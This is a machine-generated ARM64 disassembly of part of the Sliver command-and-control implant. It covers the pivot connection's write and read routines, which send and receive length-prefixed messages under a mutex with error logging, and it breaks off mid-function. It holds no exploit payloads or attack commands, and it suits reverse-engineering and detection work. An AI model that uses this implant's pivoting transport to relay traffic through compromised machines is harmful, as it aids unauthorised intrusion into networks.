    0042e45cb 0x42e474
    0042e460
    0042e460loc_42e460:
    0042e460bl runtime.gcWriteBarrier2
    0042e464str x6, [x25]
    0042e468ldr x7, [x5+8]
    0042e46cstr x7, [x25+8]
    0042e470b 0x42e474
    0042e474
    0042e474loc_42e474:
    0042e474str x6, [x5+8]
    0042e478ldr x2, [sp+240]
    0042e47cldrsb x27, [x2]
    0042e480b 0x42e484
    0042e484
    0042e484loc_42e484:
    0042e484str x2, [sp+248]
    0042e488orr x4, xzr, 1
    0042e48cstr x4, [sp+256]
    0042e490str x4, [sp+264]
    0042e494adrp x0, 0x28f000
    0042e498add x0, x0, 532
    0042e49corr x1, xzr, 30
    0042e4a0mov x3, x4
    0042e4a4bl log.Printf
    0042e4a8adrp x27, 0x5f3000
    0042e4acldr x0, [x27+1376]
    0042e4b0adrp x27, 0x5f3000
    0042e4b4ldr x1, [x27+1384]
    0042e4b8str x0, [sp+80]
    0042e4bcstr x1, [sp+88]
    0042e4c0ldp x29, x30, [sp-8]
    0042e4c4add sp, sp, 848
    0042e4c8ret x30
    0042e4cc
    0042e4ccloc_42e4cc:
    0042e4ccstp xzr, xzr, [sp+80]
    0042e4d0mov x0, xzr
    0042e4d4mov x1, xzr
    0042e4d8ldp x29, x30, [sp-8]
    0042e4dcadd sp, sp, 848
    0042e4e0ret x30
    0042e4e4
    0042e4e4loc_42e4e4:
    0042e4e4adrp x0, 0x28b000
    0042e4e8add x0, x0, 414
    0042e4ecorr x1, xzr, 24
    0042e4f0mov x2, xzr
    0042e4f4mov x3, xzr
    0042e4f8mov x4, x3
    0042e4fcbl log.Printf
    0042e500adrp x27, 0x5f3000
    0042e504ldr x0, [x27+1376]
    0042e508adrp x27, 0x5f3000
    0042e50cldr x1, [x27+1384]
    0042e510str x0, [sp+80]
    0042e514str x1, [sp+88]
    0042e518ldp x29, x30, [sp-8]
    0042e51cadd sp, sp, 848
    0042e520ret x30
    0042e524
    0042e524loc_42e524:
    0042e524str x0, [sp+8]
    0042e528mov x3, x30
    0042e52cbl runtime.morestack_noctxt.abi0
    0042e530ldr x0, [sp+8]
    0042e534b 0x42db30
    0042e538udf 0
    0042e53cudf 0
    0042db30
    0042e540
    0042e540github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).write: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).write(github.com/bishopfox/sliver/implant/sliver/pivots.NetConnPivot * p, struct []uint8 message)
    0042e540ldr x16, [x28+16]
    0042e544sub x17, sp, 400
    0042e548subs xzr, x17, x16
    0042e54cb.ls 0x42eb1c
    0042e550sub x20, sp, 528
    0042e554stp x29, x30, [x20-8]
    0042e558add sp, x20, 0
    0042e55csub x29, sp, 8
    0042e560str x0, [sp+536]
    0042e564str x1, [sp+544]
    0042e568str x2, [sp+552]
    0042e56cstr x3, [sp+560]
    0042e570stp xzr, xzr, [sp+176]
    0042e574ldr x1, [sp+536]
    0042e578ldrsb x27, [x1]
    0042e57cldr x0, [x1+32]
    0042e580str x0, [sp+424]
    0042e584bl sync.(*Mutex).Lock
    0042e588ldr x1, [sp+536]
    0042e58cldrsb x27, [x1]
    0042e590ldr x1, [x1+32]
    0042e594str x1, [sp+288]
    0042e598stp xzr, xzr, [sp+400]
    0042e59cadd x1, sp, 400
    0042e5a0str x1, [sp+416]
    0042e5a4ldrsb x27, [x1]
    0042e5a8adrp x2, 0
    0042e5acadd x2, x2, 2880
    0042e5b0str x2, [x1]
    0042e5b4ldrsb x27, [x1]
    0042e5b8ldr x2, [sp+288]
    0042e5bcadrp x27, 0x61d000
    0042e5c0ldr w3, [x27+3056]
    0042e5c4cbz w3, 0x42e5cc
    0042e5c8b 0x42e5d0
    0042e5cc
    0042e5ccloc_42e5cc:
    0042e5ccb 0x42e5e4
    0042e5d0
    0042e5d0loc_42e5d0:
    0042e5d0bl runtime.gcWriteBarrier2
    0042e5d4str x2, [x25]
    0042e5d8ldr x3, [x1+8]
    0042e5dcstr x3, [x25+8]
    0042e5e0b 0x42e5e4
    0042e5e4
    0042e5e4loc_42e5e4:
    0042e5e4str x2, [x1+8]
    0042e5e8str x1, [sp+112]
    0042e5ecadd x0, sp, 88
    0042e5f0bl runtime.deferprocStack
    0042e5f4subs xzr, x0, 0
    0042e5f8b.ne 0x42e858
    0042e5fcb 0x42e600
    0042e600
    0042e600loc_42e600:
    0042e600ldr x1, [sp+544]
    0042e604ldr x2, [sp+552]
    0042e608ldr x3, [sp+560]
    0042e60cldr x0, [sp+536]
    0042e610bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).lengthOf
    0042e614str x0, [sp+464]
    0042e618str x1, [sp+472]
    0042e61cstr x2, [sp+480]
    0042e620stp xzr, xzr, [sp+448]
    0042e624ldr x4, [sp+536]
    0042e628ldrsb x27, [x4]
    0042e62cldr x5, [x4+8]
    0042e630ldrsb x27, [x5]
    0042e634ldr x0, [x4+16]
    0042e638ldr x4, [x5+80]
    0042e63cldr x1, [sp+464]
    0042e640ldr x2, [sp+472]
    0042e644ldr x3, [sp+480]
    0042e648blr x4
    0042e64cstr x0, [sp+152]
    0042e650str x1, [sp+448]
    0042e654str x2, [sp+456]
    0042e658ldr x4, [sp+152]
    0042e65cstr x4, [sp+80]
    0042e660str x1, [sp+208]
    0042e664str x2, [sp+216]
    0042e668ldr x4, [sp+80]
    0042e66cstr x4, [sp+64]
    0042e670str x1, [sp+192]
    0042e674str x2, [sp+200]
    0042e678cbnz x1, 0x42e680
    0042e67cb 0x42e758
    0042e680
    0042e680loc_42e680:
    0042e680stp xzr, xzr, [sp+432]
    0042e684add x5, sp, 432
    0042e688str x5, [sp+368]
    0042e68cldr x5, [sp+192]
    0042e690ldr x6, [sp+200]
    0042e694str x5, [sp+352]
    0042e698str x6, [sp+360]
    0042e69cstr x5, [sp+344]
    0042e6a0ldr x5, [sp+344]
    0042e6a4cbnz x5, 0x42e6ac
    0042e6a8b 0x42e6bc
    0042e6ac
    0042e6acloc_42e6ac:
    0042e6acldr x5, [sp+344]
    0042e6b0ldr x5, [x5+8]
    0042e6b4str x5, [sp+344]
    0042e6b8b 0x42e6c0
    0042e6bc
    0042e6bcloc_42e6bc:
    0042e6bcb 0x42e6c0
    0042e6c0
    0042e6c0loc_42e6c0:
    0042e6c0ldr x5, [sp+368]
    0042e6c4ldrsb x27, [x5]
    0042e6c8ldr x6, [sp+344]
    0042e6ccldr x7, [sp+360]
    0042e6d0str x6, [x5]
    0042e6d4adrp x27, 0x61d000
    0042e6d8ldr w6, [x27+3056]
    0042e6dccbz w6, 0x42e6e4
    0042e6e0b 0x42e6e8
    0042e6e4
    0042e6e4loc_42e6e4:
    0042e6e4b 0x42e6fc
    0042e6e8
    0042e6e8loc_42e6e8:
    0042e6e8bl runtime.gcWriteBarrier2
    0042e6ecstr x7, [x25]
    0042e6f0ldr x6, [x5+8]
    0042e6f4str x6, [x25+8]
    0042e6f8b 0x42e6fc
    0042e6fc
    0042e6fcloc_42e6fc:
    0042e6fcstr x7, [x5+8]
    0042e700ldr x2, [sp+368]
    0042e704ldrsb x27, [x2]
    0042e708b 0x42e70c
    0042e70c
    0042e70cloc_42e70c:
    0042e70cstr x2, [sp+376]
    0042e710orr x4, xzr, 1
    0042e714str x4, [sp+384]
    0042e718str x4, [sp+392]
    0042e71cadrp x0, 0x296000
    0042e720add x0, x0, 459
    0042e724movz x1, 40
    0042e728mov x3, x4
    0042e72cbl log.Printf
    0042e730ldr x5, [sp+192]
    0042e734ldr x6, [sp+200]
    0042e738str x5, [sp+176]
    0042e73cstr x6, [sp+184]
    0042e740bl runtime.deferreturn
    0042e744ldr x0, [sp+176]
    0042e748ldr x1, [sp+184]
    0042e74cldp x29, x30, [sp-8]
    0042e750add sp, sp, 528
    0042e754ret x30
    0042e758
    0042e758loc_42e758:
    0042e758ldr x5, [sp+64]
    0042e75csubs xzr, x5, 4
    0042e760b.ne 0x42e768
    0042e764b 0x42e848
    0042e768
    0042e768loc_42e768:
    0042e768stp xzr, xzr, [sp+432]
    0042e76cadd x5, sp, 432
    0042e770str x5, [sp+312]
    0042e774ldr x5, [sp+192]
    0042e778ldr x6, [sp+200]
    0042e77cstr x5, [sp+296]
    0042e780str x6, [sp+304]
    0042e784str x5, [sp+280]
    0042e788ldr x5, [sp+280]
    0042e78ccbnz x5, 0x42e794
    0042e790b 0x42e7a4
    0042e794
    0042e794loc_42e794:
    0042e794ldr x5, [sp+280]
    0042e798ldr x5, [x5+8]
    0042e79cstr x5, [sp+280]
    0042e7a0b 0x42e7a8
    0042e7a4
    0042e7a4loc_42e7a4:
    0042e7a4b 0x42e7a8
    0042e7a8
    0042e7a8loc_42e7a8:
    0042e7a8ldr x5, [sp+312]
    0042e7acldrsb x27, [x5]
    0042e7b0ldr x6, [sp+280]
    0042e7b4ldr x7, [sp+304]
    0042e7b8str x6, [x5]
    0042e7bcadrp x27, 0x61d000
    0042e7c0ldr w6, [x27+3056]
    0042e7c4cbz w6, 0x42e7cc
    0042e7c8b 0x42e7d0
    0042e7cc
    0042e7ccloc_42e7cc:
    0042e7ccb 0x42e7e4
    0042e7d0
    0042e7d0loc_42e7d0:
    0042e7d0bl runtime.gcWriteBarrier2
    0042e7d4str x7, [x25]
    0042e7d8ldr x6, [x5+8]
    0042e7dcstr x6, [x25+8]
    0042e7e0b 0x42e7e4
    0042e7e4
    0042e7e4loc_42e7e4:
    0042e7e4str x7, [x5+8]
    0042e7e8ldr x2, [sp+312]
    0042e7ecldrsb x27, [x2]
    0042e7f0b 0x42e7f4
    0042e7f4
    0042e7f4loc_42e7f4:
    0042e7f4str x2, [sp+320]
    0042e7f8orr x4, xzr, 1
    0042e7fcstr x4, [sp+328]
    0042e800str x4, [sp+336]
    0042e804adrp x0, 0x296000
    0042e808add x0, x0, 459
    0042e80cmovz x1, 40
    0042e810mov x3, x4
    0042e814bl log.Printf
    0042e818adrp x27, 0x5f3000
    0042e81cldr x5, [x27+1360]
    0042e820adrp x27, 0x5f3000
    0042e824ldr x6, [x27+1368]
    0042e828str x5, [sp+176]
    0042e82cstr x6, [sp+184]
    0042e830bl runtime.deferreturn
    0042e834ldr x0, [sp+176]
    0042e838ldr x1, [sp+184]
    0042e83cldp x29, x30, [sp-8]
    0042e840add sp, sp, 528
    0042e844ret x30
    0042e848
    0042e848loc_42e848:
    0042e848str xzr, [sp+56]
    0042e84corr x4, xzr, 1024
    0042e850str x4, [sp+72]
    0042e854b 0x42e870
    0042e858
    0042e858loc_42e858:
    0042e858bl runtime.deferreturn
    0042e85cldr x0, [sp+176]
    0042e860ldr x1, [sp+184]
    0042e864ldp x29, x30, [sp-8]
    0042e868add sp, sp, 528
    0042e86cret x30
    0042e870
    0042e870loc_42e870:
    0042e870ldr x4, [sp+552]
    0042e874str x4, [sp+152]
    0042e878ldr x5, [sp+56]
    0042e87csubs xzr, x4, x5
    0042e880b.gt 0x42e888
    0042e884b 0x42eaf0
    0042e888
    0042e888loc_42e888:
    0042e888ldr x4, [sp+552]
    0042e88cstr x4, [sp+144]
    0042e890ldr x5, [sp+56]
    0042e894ldr x6, [sp+72]
    0042e898add x5, x5, x6
    0042e89csubs xzr, x4, x5
    0042e8a0b.ge 0x42e8a8
    0042e8a4b 0x42e958
    0042e8a8
    0042e8a8loc_42e8a8:
    0042e8a8ldr x4, [sp+72]
    0042e8acldr x5, [sp+56]
    0042e8b0add x1, x5, x4
    0042e8b4str x1, [sp+144]
    0042e8b8ldr x0, [sp+56]
    0042e8bcldr x2, [sp+560]
    0042e8c0ldr x4, [sp+544]
    0042e8c4subs xzr, x2, x1
    0042e8c8b.hs 0x42e8d0
    0042e8ccb 0x42eb14
    0042e8d0
    0042e8d0loc_42e8d0:
    0042e8d0subs xzr, x0, x1
    0042e8d4b.ls 0x42e8dc
    0042e8d8b 0x42eb10
    0042e8dc
    0042e8dcloc_42e8dc:
    0042e8dcsub x5, x2, x0
    0042e8e0sub x6, x1, x0
    0042e8e4sub x7, xzr, x5
    0042e8e8and x7, x0, x7, asr #63
    0042e8ecadd x4, x4, x7
    0042e8f0str x4, [sp+464]
    0042e8f4str x6, [sp+472]
    0042e8f8str x5, [sp+480]
    0042e8fcstp xzr, xzr, [sp+448]
    0042e900ldr x4, [sp+536]
    0042e904ldrsb x27, [x4]
    0042e908ldr x5, [x4+8]
    0042e90cldrsb x27, [x5]
    0042e910ldr x0, [x4+16]
    0042e914ldr x4, [x5+80]
    0042e918ldr x1, [sp+464]
    0042e91cldr x2, [sp+472]
    0042e920ldr x3, [sp+480]
    0042e924blr x4
    0042e928str x0, [sp+136]
    0042e92cstr x1, [sp+448]
    0042e930str x2, [sp+456]
    0042e934ldr x4, [sp+136]
    0042e938str x4, [sp+168]
    0042e93cstr x1, [sp+504]
    0042e940str x2, [sp+512]
    0042e944ldr x4, [sp+168]
    0042e948str x4, [sp+64]
    0042e94cstr x1, [sp+192]
    0042e950str x2, [sp+200]
    0042e954b 0x42e9f4
    0042e958
    0042e958loc_42e958:
    0042e958ldr x0, [sp+56]
    0042e95cldr x1, [sp+552]
    0042e960ldr x4, [sp+544]
    0042e964ldr x5, [sp+560]
    0042e968b 0x42e96c
    0042e96c
    0042e96cloc_42e96c:
    0042e96csubs xzr, x1, x0
    0042e970b.hs 0x42e978
    0042e974b 0x42eb0c
    0042e978
    0042e978loc_42e978:
    0042e978sub x5, x5, x0
    0042e97csub x6, x1, x0
    0042e980sub x7, xzr, x5
    0042e984and x7, x0, x7, asr #63
    0042e988add x4, x4, x7
    0042e98cstr x4, [sp+464]
    0042e990str x6, [sp+472]
    0042e994str x5, [sp+480]
    0042e998stp xzr, xzr, [sp+448]
    0042e99cldr x4, [sp+536]
    0042e9a0ldrsb x27, [x4]
    0042e9a4ldr x5, [x4+8]
    0042e9a8ldrsb x27, [x5]
    0042e9acldr x0, [x4+16]
    0042e9b0ldr x4, [x5+80]
    0042e9b4ldr x1, [sp+464]
    0042e9b8ldr x2, [sp+472]
    0042e9bcldr x3, [sp+480]
    0042e9c0blr x4
    0042e9c4str x0, [sp+136]
    0042e9c8str x1, [sp+448]
    0042e9ccstr x2, [sp+456]
    0042e9d0ldr x4, [sp+136]
    0042e9d4str x4, [sp+160]
    0042e9d8str x1, [sp+488]
    0042e9dcstr x2, [sp+496]
    0042e9e0ldr x4, [sp+160]
    0042e9e4str x4, [sp+64]
    0042e9e8str x1, [sp+192]
    0042e9ecstr x2, [sp+200]
    0042e9f0b 0x42e9f4
    0042e9f4
    0042e9f4loc_42e9f4:
    0042e9f4ldr x5, [sp+64]
    0042e9f8ldr x6, [sp+56]
    0042e9fcadd x5, x6, x5
    0042ea00str x5, [sp+56]
    0042ea04ldr x5, [sp+192]
    0042ea08cbnz x5, 0x42ea10
    0042ea0cb 0x42eae8
    0042ea10
    0042ea10loc_42ea10:
    0042ea10stp xzr, xzr, [sp+432]
    0042ea14add x5, sp, 432
    0042ea18str x5, [sp+248]
    0042ea1cldr x5, [sp+192]
    0042ea20ldr x6, [sp+200]
    0042ea24str x5, [sp+232]
    0042ea28str x6, [sp+240]
    0042ea2cstr x5, [sp+224]
    0042ea30ldr x5, [sp+224]
    0042ea34cbnz x5, 0x42ea3c
    0042ea38b 0x42ea4c
    0042ea3c
    0042ea3cloc_42ea3c:
    0042ea3cldr x5, [sp+224]
    0042ea40ldr x5, [x5+8]
    0042ea44str x5, [sp+224]
    0042ea48b 0x42ea50
    0042ea4c
    0042ea4cloc_42ea4c:
    0042ea4cb 0x42ea50
    0042ea50
    0042ea50loc_42ea50:
    0042ea50ldr x5, [sp+248]
    0042ea54ldrsb x27, [x5]
    0042ea58ldr x6, [sp+240]
    0042ea5cldr x7, [sp+224]
    0042ea60str x7, [x5]
    0042ea64adrp x27, 0x61d000
    0042ea68ldr w7, [x27+3056]
    0042ea6ccbz w7, 0x42ea74
    0042ea70b 0x42ea78
    0042ea74
    0042ea74loc_42ea74:
    0042ea74b 0x42ea8c
    0042ea78
    0042ea78loc_42ea78:
    0042ea78bl runtime.gcWriteBarrier2
    0042ea7cstr x6, [x25]
    0042ea80ldr x7, [x5+8]
    0042ea84str x7, [x25+8]
    0042ea88b 0x42ea8c
    0042ea8c
    0042ea8cloc_42ea8c:
    0042ea8cstr x6, [x5+8]
    0042ea90ldr x2, [sp+248]
    0042ea94ldrsb x27, [x2]
    0042ea98b 0x42ea9c
    0042ea9c
    0042ea9cloc_42ea9c:
    0042ea9cstr x2, [sp+256]
    0042eaa0orr x4, xzr, 1
    0042eaa4str x4, [sp+264]
    0042eaa8str x4, [sp+272]
    0042eaacadrp x0, 0x291000
    0042eab0add x0, x0, 1134
    0042eab4movz x1, 33
    0042eab8mov x3, x4
    0042eabcbl log.Printf
    0042eac0ldr x5, [sp+192]
    0042eac4ldr x6, [sp+200]
    0042eac8str x5, [sp+176]
    0042eaccstr x6, [sp+184]
    0042ead0bl runtime.deferreturn
    0042ead4ldr x0, [sp+176]
    0042ead8ldr x1, [sp+184]
    0042eadcldp x29, x30, [sp-8]
    0042eae0add sp, sp, 528
    0042eae4ret x30
    0042eae8
    0042eae8loc_42eae8:
    0042eae8b 0x42eaec
    0042eaec
    0042eaecloc_42eaec:
    0042eaecb 0x42e870
    0042eaf0
    0042eaf0loc_42eaf0:
    0042eaf0stp xzr, xzr, [sp+176]
    0042eaf4bl runtime.deferreturn
    0042eaf8ldr x1, [sp+184]
    0042eafcldr x0, [sp+176]
    0042eb00ldp x29, x30, [sp-8]
    0042eb04add sp, sp, 528
    0042eb08ret x30
    0042eb0c
    0042eb0cloc_42eb0c:
    0042eb0cbl runtime.panicSliceB
    0042eb10
    0042eb10loc_42eb10:
    0042eb10bl runtime.panicSliceB
    0042eb14
    0042eb14loc_42eb14:
    0042eb14bl runtime.panicSliceAcap
    0042eb18hint
    0042eb1c
    0042eb1cloc_42eb1c:
    0042eb1cstp x0, x1, [sp+8]
    0042eb20stp x2, x3, [sp+24]
    0042eb24mov x3, x30
    0042eb28bl runtime.morestack_noctxt.abi0
    0042eb2cldp x0, x1, [sp+8]
    0042eb30ldp x2, x3, [sp+24]
    0042eb34b 0x42e540
    0042eb38udf 0
    0042eb3cudf 0
    0042e540
    0042eb40
    0042eb40github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).write.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).write.deferwrap1(void)
    0042eb40ldr x16, [x28+16]
    0042eb44subs xzr, sp, x16
    0042eb48b.ls 0x42eb78
    0042eb4cstr x30, [sp-32]!
    0042eb50stur x29, [sp-8]
    0042eb54sub x29, sp, 8
    0042eb58ldr x16, [x28+32]
    0042eb5ccbnz x16, 0x42eb84
    0042eb60
    0042eb60loc_42eb60:
    0042eb60ldr x0, [x26+8]
    0042eb64str x0, [sp+16]
    0042eb68bl sync.(*Mutex).Unlock
    0042eb6cldur x29, [sp-8]
    0042eb70ldr x30, [sp], 32
    0042eb74ret x30
    0042eb78
    0042eb78loc_42eb78:
    0042eb78mov x3, x30
    0042eb7cbl runtime.morestack.abi0
    0042eb80b 0x42eb40
    0042eb84
    0042eb84loc_42eb84:
    0042eb84ldr x17, [x16]
    0042eb88add x20, sp, 40
    0042eb8csubs xzr, x20, x17
    0042eb90b.ne 0x42eb60
    0042eb94add x20, sp, 8
    0042eb98str x20, [x16]
    0042eb9cb 0x42eb60
    0042eb40
    0042eba0
    0042eba0github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).read: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).read(github.com/bishopfox/sliver/implant/sliver/pivots.NetConnPivot * p)
    0042eba0ldr x16, [x28+16]
    0042eba4sub x17, sp, 544
    0042eba8subs xzr, x17, x16
    0042ebacb.ls 0x42f204
    0042ebb0sub x20, sp, 672
    0042ebb4stp x29, x30, [x20-8]
    0042ebb8add sp, x20, 0
    0042ebbcsub x29, sp, 8
    0042ebc0str x0, [sp+680]
    0042ebc4stp xzr, xzr, [sp+168]
    0042ebc8str xzr, [sp+184]
    0042ebccstp xzr, xzr, [sp+152]
    0042ebd0ldr x1, [sp+680]
    0042ebd4ldrsb x27, [x1]
    0042ebd8ldr x0, [x1+24]
    0042ebdcstr x0, [sp+608]
    0042ebe0bl sync.(*Mutex).Lock
    0042ebe4ldr x1, [sp+680]
    0042ebe8ldrsb x27, [x1]
    0042ebecldr x1, [x1+24]
    0042ebf0str x1, [sp+440]
    0042ebf4add x27, sp, 584
    0042ebf8stp xzr, xzr, [x27]
    0042ebfcadd x1, sp, 584
    0042ec00str x1, [sp+600]
    0042ec04ldrsb x27, [x1]
    0042ec08adrp x2, 4096
    0042ec0cadd x2, x2, 544
    0042ec10str x2, [x1]
    0042ec14ldrsb x27, [x1]
    0042ec18ldr x2, [sp+440]
    0042ec1cadrp x27, 0x61d000
    0042ec20ldr w3, [x27+3056]
    0042ec24cbz w3, 0x42ec2c
    0042ec28b 0x42ec30
    0042ec2c
    0042ec2cloc_42ec2c:
    0042ec2cb 0x42ec44
    0042ec30
    0042ec30loc_42ec30:
    0042ec30bl runtime.gcWriteBarrier2
    0042ec34str x2, [x25]
    0042ec38ldr x3, [x1+8]
    0042ec3cstr x3, [x25+8]
    0042ec40b 0x42ec44
    0042ec44
    0042ec44loc_42ec44:
    0042ec44str x2, [x1+8]
    0042ec48str x1, [sp+112]
    0042ec4cadd x0, sp, 88
    0042ec50bl runtime.deferprocStack
    0042ec54subs xzr, x0, 0
    0042ec58b.ne 0x42f1e0
    0042ec5cb 0x42ec60
    0042ec60
    0042ec60loc_42ec60:
    0042ec60adrp x0, 0x1c7000
    0042ec64add x0, x0, 3072
    0042ec68orr x1, xzr, 4
    0042ec6cmov x2, x1
    0042ec70bl runtime.makeslice
    0042ec74str x0, [sp+208]
    0042ec78orr x3, xzr, 4
    0042ec7cstr x3, [sp+216]
    0042ec80str x3, [sp+224]
    0042ec84add x27, sp, 632
    0042ec88stp xzr, xzr, [x27]
    0042ec8cldr x3, [sp+680]
    0042ec90ldrsb x27, [x3]
    0042ec94ldr x1, [x3+16]
    0042ec98ldr x3, [x3+8]
    0042ec9cstr x3, [sp+568]
    0042eca0str x1, [sp+576]
    0042eca4cbnz x3, 0x42ecac
    0042eca8b 0x42eccc
    0042ecac
    0042ecacloc_42ecac:
    0042ecacstr x1, [sp+272]
    0042ecb0ldr x1, [x3+8]
    0042ecb4adrp x0, 0x5df000
    0042ecb8add x0, x0, 4016
    0042ecbcbl runtime.typeAssert
    0042ecc0ldr x1, [sp+272]
    0042ecc4mov x3, x0
    0042ecc8b 0x42ecd0
    0042eccc
    0042ecccloc_42eccc:
    0042ecccb 0x42ecd0
    0042ecd0
    0042ecd0loc_42ecd0:
    0042ecd0str x3, [sp+552]
    0042ecd4str x1, [sp+560]
    0042ecd8ldr x2, [sp+208]
    0042ecdcldr x5, [sp+216]
    0042ece0ldr x4, [sp+224]
    0042ece4mov x0, x3
    0042ece8mov x3, x5
    0042ececbl io.ReadFull
    0042ecf0str x0, [sp+136]
    0042ecf4str x1, [sp+632]
    0042ecf8str x2, [sp+640]
    0042ecfcldr x5, [sp+136]
    0042ed00str x5, [sp+80]
    0042ed04str x1, [sp+256]
    0042ed08str x2, [sp+264]
    0042ed0cldr x5, [sp+80]
    0042ed10str x5, [sp+64]
    0042ed14str x1, [sp+192]
    0042ed18str x2, [sp+200]
    0042ed1csubs xzr, x1, 0
    0042ed20cset x5, ne
    0042ed24strb w5, [sp+59]
    0042ed28cbnz x1, 0x42ed30
    0042ed2cb 0x42ed34
    0042ed30
    0042ed30loc_42ed30:
    0042ed30b 0x42ed48
    0042ed34
    0042ed34loc_42ed34:
    0042ed34ldr x5, [sp+64]
    0042ed38subs xzr, x5, 4
    0042ed3ccset x5, ne
    0042ed40strb w5, [sp+59]
    0042ed44b 0x42ed48
    0042ed48
    0042ed48loc_42ed48:
    0042ed48ldrb w5, [sp+59]
    0042ed4ctbnz w5, 0, 0x42ed54
    0042ed50b 0x42ee54
    0042ed54
    0042ed54loc_42ed54:
    0042ed54add x27, sp, 616
    0042ed58stp xzr, xzr, [x27]
    0042ed5cadd x5, sp, 616
    0042ed60str x5, [sp+520]
    0042ed64ldr x5, [sp+192]
    0042ed68ldr x6, [sp+200]
    0042ed6cstr x5, [sp+504]
    0042ed70str x6, [sp+512]
    0042ed74str x5, [sp+496]
    0042ed78ldr x5, [sp+496]
    0042ed7ccbnz x5, 0x42ed84
    0042ed80b 0x42ed94
    0042ed84
    0042ed84loc_42ed84:
    0042ed84ldr x5, [sp+496]
    0042ed88ldr x5, [x5+8]
    0042ed8cstr x5, [sp+496]
    0042ed90b 0x42ed98
    0042ed94
    0042ed94loc_42ed94:
    0042ed94b 0x42ed98
    0042ed98
    0042ed98loc_42ed98:
    0042ed98ldr x5, [sp+520]
    0042ed9cldrsb x27, [x5]
    0042eda0ldr x6, [sp+496]
    0042eda4ldr x7, [sp+512]
    0042eda8str x6, [x5]
    0042edacadrp x27, 0x61d000
    0042edb0ldr w6, [x27+3056]
    0042edb4cbz w6, 0x42edbc
    0042edb8b 0x42edc0
    0042edbc
    0042edbcloc_42edbc:
    0042edbcb 0x42edd4
    0042edc0
    0042edc0loc_42edc0:
    0042edc0bl runtime.gcWriteBarrier2
    0042edc4str x7, [x25]
    0042edc8ldr x6, [x5+8]
    0042edccstr x6, [x25+8]
    0042edd0b 0x42edd4
    0042edd4
    0042edd4loc_42edd4:
    0042edd4str x7, [x5+8]
    0042edd8ldr x2, [sp+520]
    0042eddcldrsb x27, [x2]
    0042ede0b 0x42ede4
    0042ede4
    0042ede4loc_42ede4:
    0042ede4str x2, [sp+528]
    0042ede8orr x4, xzr, 1
    0042edecstr x4, [sp+536]
    0042edf0str x4, [sp+544]
    0042edf4adrp x0, 0x293000
    0042edf8add x0, x0, 1957
    0042edfcmovz x1, 36
    0042ee00mov x3, x4
    0042ee04bl log.Printf
    0042ee08ldr x5, [sp+192]
    0042ee0cldr x6, [sp+200]
    0042ee10str x5, [sp+480]
    0042ee14str x6, [sp+488]
    0042ee18str xzr, [sp+168]
    0042ee1cstp xzr, xzr, [sp+176]
    0042ee20ldr x5, [sp+480]
    0042ee24ldr x6, [sp+488]
    0042ee28str x5, [sp+152]
    0042ee2cstr x6, [sp+160]
    0042ee30bl runtime.deferreturn
    0042ee34ldr x3, [sp+152]
    0042ee38ldr x0, [sp+168]
    0042ee3cldr x1, [sp+176]
    0042ee40ldr x4, [sp+160]
    0042ee44ldr x2, [sp+184]
    0042ee48ldp x29, x30, [sp-8]
    0042ee4cadd sp, sp, 672
    0042ee50ret x30
    0042ee54
    0042ee54loc_42ee54:
    0042ee54ldr x0, [sp+208]
    0042ee58ldr x1, [sp+216]
    0042ee5cldr x2, [sp+224]
    0042ee60bl encoding/binary.littleEndian.Uint32
    0042ee64str w0, [sp+60]
    0042ee68mov w2, w0
    0042ee6cstr x2, [sp+72]
    0042ee70subs xzr, x2, 0
    0042ee74b.le 0x42ee7c
    0042ee78b 0x42ef8c
    0042ee7c
    0042ee7cloc_42ee7c:
    0042ee7cadd x27, sp, 616
    0042ee80stp xzr, xzr, [x27]
    0042ee84add x5, sp, 616
    0042ee88str x5, [sp+448]
    0042ee8cldr x5, [sp+192]
    0042ee90ldr x6, [sp+200]
    0042ee94str x5, [sp+424]
    0042ee98str x6, [sp+432]
    0042ee9cstr x5, [sp+416]
    0042eea0ldr x5, [sp+416]
    0042eea4cbnz x5, 0x42eeac
    0042eea8b 0x42eebc
    0042eeac
    0042eeacloc_42eeac:
    0042eeacldr x5, [sp+416]
    0042eeb0ldr x5, [x5+8]
    0042eeb4str x5, [sp+416]
    0042eeb8b 0x42eec0
    0042eebc
    0042eebcloc_42eebc:
    0042eebcb 0x42eec0
    0042eec0
    0042eec0loc_42eec0:
    0042eec0ldr x5, [sp+448]
    0042eec4ldrsb x27, [x5]
    0042eec8ldr x6, [sp+416]
    0042eeccldr x7, [sp+432]
    0042eed0str x6, [x5]
    0042eed4adrp x27, 0x61d000
    0042eed8ldr w6, [x27+3056]
    0042eedccbz w6, 0x42eee4
    0042eee0b 0x42eee8
    0042eee4
    0042eee4loc_42eee4:
    0042eee4b 0x42eefc
    0042eee8
    0042eee8loc_42eee8:
    0042eee8bl runtime.gcWriteBarrier2
    0042eeecstr x7, [x25]
    0042eef0ldr x6, [x5+8]
    0042eef4str x6, [x25+8]
    0042eef8b 0x42eefc
    0042eefc
    0042eefcloc_42eefc:
    0042eefcstr x7, [x5+8]
    0042ef00ldr x2, [sp+448]
    0042ef04ldrsb x27, [x2]
    0042ef08b 0x42ef0c
    0042ef0c
    0042ef0cloc_42ef0c:
    0042ef0cstr x2, [sp+456]
    0042ef10orr x4, xzr, 1
    0042ef14str x4, [sp+464]
    0042ef18str x4, [sp+472]
    0042ef1cadrp x0, 0x28a000
    0042ef20add x0, x0, 1605
    0042ef24movz x1, 23
    0042ef28mov x3, x4
    0042ef2cbl log.Printf
    0042ef30adrp x0, 0x28b000
    0042ef34add x0, x0, 438
    0042ef38orr x1, xzr, 24
    0042ef3cbl errors.New
    0042ef40str x0, [sp+632]
    0042ef44str x1, [sp+640]
    0042ef48str x0, [sp+400]
    0042ef4cstr x1, [sp+408]
    0042ef50str xzr, [sp+168]
    0042ef54stp xzr, xzr, [sp+176]
    0042ef58ldr x5, [sp+400]
    0042ef5cldr x6, [sp+408]
    0042ef60str x5, [sp+152]
    0042ef64str x6, [sp+160]
    0042ef68bl runtime.deferreturn
    0042ef6cldr x3, [sp+152]
    0042ef70ldr x0, [sp+168]
    0042ef74ldr x1, [sp+176]
    0042ef78ldr x4, [sp+160]
    0042ef7cldr x2, [sp+184]
    0042ef80ldp x29, x30, [sp-8]
